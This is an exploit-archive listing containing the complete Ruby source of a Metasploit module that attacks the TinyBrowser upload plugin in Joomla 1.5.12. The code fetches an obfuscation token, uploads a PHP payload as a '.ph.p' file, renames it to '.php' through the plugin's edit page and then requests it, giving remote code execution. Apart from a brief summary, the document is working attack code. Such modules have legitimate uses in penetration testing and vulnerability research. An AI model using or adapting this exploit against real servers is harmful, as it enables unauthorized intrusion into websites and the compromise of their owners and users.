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Joomla 1.5.12 TinyBrowser File Upload Code Execution

Joomla 1.5.12 TinyBrowser File Upload Code Execution
Posted Oct 30, 2009
Authored by spinbad

This Metasploit module exploits a vulnerability in the TinyMCE/tinybrowser plugin. This plugin is not secured in version 1.5.12 of joomla and allows the upload of files on the remote server. By renaming the uploaded file this vulnerability can be used to upload/execute code on the affected system.

tags | exploit, remote
SHA-256 | 8b2bb800fcad3a5dc196fc3ef9696ddfc8c55e5a5366e716722345f95e11ca4c

Joomla 1.5.12 TinyBrowser File Upload Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla 1.5.12 TinyBrowser File Upload Code Execution',
'Description' => %q{
This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.
This plugin is not secured in version 1.5.12 of joomla and allows the upload
of files on the remote server.
By renaming the uploaded file this vulnerability can be used to upload/execute
code on the affected system.
},
'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['URL', 'http://milw0rm.com/exploits/9296'],
['URL', 'http://developer.joomla.org/security/news/301-20090722-core-file-upload.html'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'Space' => 1024,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'July 22 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "Joomla directory path", "/"]),
], self.class)
end

def check
res = send_request_raw({
'uri' => datastore['URI'] + '/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder='
}, 25)

if (res and res.body =~ /flexupload.swf/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe
end


def retrieve_obfuscation()

end


def exploit

cmd_php = '<?php ' + payload.encoded + '?>'

# Generate some random strings
cmdscript = rand_text_alpha_lower(20)
boundary = rand_text_alphanumeric(6)

# Static files
directory = '/images/stories/'
tinybrowserpath = '/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/'
cmdpath = directory + cmdscript

# Get obfuscation code (needed to upload files)
obfuscation_code = nil
res = send_request_raw({
'uri' => datastore['URI'] + tinybrowserpath + '/upload.php?type=file&folder='
}, 25)

if (res)

if(res.body =~ /"obfus", "((\w)+)"\)/)
obfuscation_code = $1
print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")
else
print_error("Error retrieving obfuscation code!")
return
end
end



# Upload shellcode (file ending .ph.p)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
data << "#{cmdscript}.ph.p\r\n--#{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << cmd_php
data << "\r\n--#{boundary}--"

res = send_request_raw({
'uri' => datastore['URI'] + tinybrowserpath + "/upload_file.php?folder=/images/stories/&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
}
}, 25)

if (res and res.body =~ /File Upload Success/)
print_status("Successfully uploaded #{cmdscript}.ph.p")
else
print_error("Error uploading #{cmdscript}.ph.p")
end


# Complete the upload process (rename file)
print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
res = send_request_raw({
'uri' => datastore['URI'] + tinybrowserpath + 'upload_process.php?folder=/images/stories/&type=file&feid=&filetotal=1'
})


# Rename the file from .ph.p to .php
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'] + tinybrowserpath + '/edit.php?type=file&folder=',
'vars_post' =>
{
'actionfile[0]' => "#{cmdscript}.ph.p",
'renameext[0]' => 'p',
'renamefile[0]' => "#{cmdscript}.ph",
'sortby' => 'name',
'sorttype' => 'asc',
'showpage' => '0',
'action' => 'rename',
'commit' => '',

}
}, 10)

if (res and res.body =~ /successfully renamed./)
print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
else
print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
end


# Finally call the payload
print_status("Calling payload: #{cmdscript}.php")
res = send_request_raw({
'uri' => "#{datastore['URI'] }images/stories/#{cmdscript}.php"
}, 25)


end
end

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